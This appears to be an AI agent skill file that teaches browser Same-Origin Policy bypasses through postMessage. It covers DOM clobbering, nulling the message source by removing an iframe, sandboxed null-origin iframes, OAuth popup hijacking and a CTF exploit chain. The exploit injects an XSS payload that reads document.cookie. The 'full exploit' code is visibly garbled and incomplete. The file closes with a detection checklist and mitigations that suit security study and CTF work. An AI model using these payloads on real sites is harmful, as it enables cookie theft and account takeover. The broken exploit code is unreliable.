| name | postmessage-sop-bypass |
| description | How to bypass Same-Origin Policy (SOP) using postMessage vulnerabilities, DOM clobbering, and null-origin iframe techniques. Use this skill whenever the user mentions postMessage, cross-origin communication, iframe attacks, SOP bypass, DOM clobbering, null-origin exploits, OAuth popup hijacking, or any scenario involving cross-window message handling. Trigger this skill for CTF challenges, security assessments, or when analyzing postMessage event handlers with weak source/origin validation. |
PostMessage SOP Bypass Techniques
This skill covers advanced techniques for bypassing Same-Origin Policy restrictions using postMessage vulnerabilities, DOM clobbering, and null-origin iframe exploitation.
When to Use This Skill
Use this skill when:
- Analyzing
postMessage event handlers with weak validation
- CTF challenges involving cross-origin communication
- Security assessments of applications using
window.postMessage()
- Encountering
event.source or event.origin checks that can be bypassed
- OAuth popup flows with iframe-based openers
- Applications using
innerHTML sinks with postMessage data
Core Attack Primitives
1. DOM Clobbering to Nullify Window Properties
Goal: Make window.calc.contentWindow evaluate to undefined by clobbering document.getElementById.
Technique:
<img name="getElementById" />
<div id="calc"></div>
Effect: document.getElementById("calc") returns the <img> element instead of the <div>, and window.calc becomes undefined.
Why it works: The Sanitizer API is not configured to protect against DOM clobbering by default. Elements with name attributes can clobber global properties.
2. Null-Origin via Iframe Removal
Goal: Make event.source evaluate to null in the postMessage handler.
Technique:
let iframe = document.createElement("iframe");
document.body.appendChild(iframe);
iframe.contentWindow.eval(`
window.parent.target.postMessage("payload", "*");
`);
document.body.removeChild(iframe);
Effect: When the iframe is removed before the message handler executes, event.source is null.
Why it works: The event.source reference points to the iframe's window. If the iframe is removed, the reference becomes null. Combined with loose equality (==), null == undefined evaluates to true.
3. Null-Origin via Sandboxed Iframes
Goal: Create a stable null-origin environment for triggering errors in document.cookie access.
Technique:
const iframe = document.createElement('iframe');
iframe.sandbox = 'allow-scripts allow-popups';
iframe.srcdoc = `<script>
// This code runs in null origin
const token = getCookie(); // Triggers error, returns undefined
</script>`;
document.body.appendChild(iframe);
Effect: Any access to document.cookie in a null-origin page throws an error, making dependent variables undefined.
Why it works: Sandboxed iframes without allow-same-origin have origin === "null". Accessing document.cookie from null origin is blocked by the browser.
4. OAuth Popup Hijacking (2025 Pattern)
Goal: Bypass origin checks in OAuth callback handlers.
Technique:
const frame = document.createElement('iframe');
frame.sandbox = 'allow-scripts allow-popups';
frame.srcdoc = `
<script>
const pop = open('https://oauth.example/callback');
pop.postMessage({ cmd: 'getLoginCode' }, '*');
</script>`;
document.body.appendChild(frame);
Effect: Both the iframe and the popup have origin === "null", so handlers checking if (origin !== window.origin) fail silently.
Why it works: The popup inherits the null origin from its opener (the sandboxed iframe). Victim code comparing origins sees "null" === "null" and accepts the message.
5. X-Frame-Options Bypass via window.open
Goal: Interact with pages that set X-Frame-Options: DENY.
Technique:
const probe = document.createElement('iframe');
probe.sandbox = 'allow-scripts';
probe.onload = () => {
const victim = open('https://target-app/');
setTimeout(() => {
probe.contentWindow.postMessage(payload, '*');
probe.remove();
}, 500);
};
document.body.appendChild(probe);
Effect: Can post messages to pages that would normally block iframe embedding.
Why it works: window.open() creates a popup window, not an iframe. The iframe is only used as a message relay.
Complete Attack Pattern
Obligatory Calc CTF Solution
This demonstrates combining all primitives to bypass:
if (e.source == window.calc.contentWindow && e.data.token == window.token) {
document.getElementById('result').innerHTML = e.data.result;
}
Full exploit:
<html>
<body>
<script>
open(
'https://target/?expr="<form name=getElementById id=calc>"'
);
function start() {
var ifr = document.createElement("iframe");
ifr.sandbox = "allow-scripts allow-popups";
ifr.srcdoc = `<script>(${hack})()<\/script>`;
document.body.appendChild(ifr);
function hack() {
var win = open("https://target/");
setTimeout(() => {
parent.postMessage("remove", "*");
win.postMessage(
{
token: null,
result: "<img src=x onerror='alert(document.cookie)'>",
},
);
}, );
}
onmessage = {
(e. == ) .. = ;
};
}
(start, );
Detection & Analysis Checklist
When analyzing postMessage handlers, check for:
- Loose equality checks:
== instead of === allows null == undefined
- Source validation: Does the code check
event.source? Can it be nullified?
- Origin validation: Does the code check
event.origin? Can it be made null?
- Cookie access in handlers: Does
window.token or similar depend on document.cookie?
- innerHTML sinks: Is postMessage data written to the DOM without sanitization?
- Iframe lifecycle: Are iframes removed after sending messages?
- Sandbox attributes: Do iframes use
allow-scripts allow-popups without allow-same-origin?
Mitigation Recommendations
- Use strict equality:
=== instead of == for all comparisons
- Validate origin explicitly: Check against a whitelist of allowed origins
- Never trust event.source: It can be nullified through iframe removal
- Sanitize all postMessage data: Treat it as untrusted input
- Use CSP: Content Security Policy can limit script execution
- Avoid DOM clobbering: Don't use
name attributes that conflict with globals
- Check for null origin:
if (event.origin === 'null') return;
References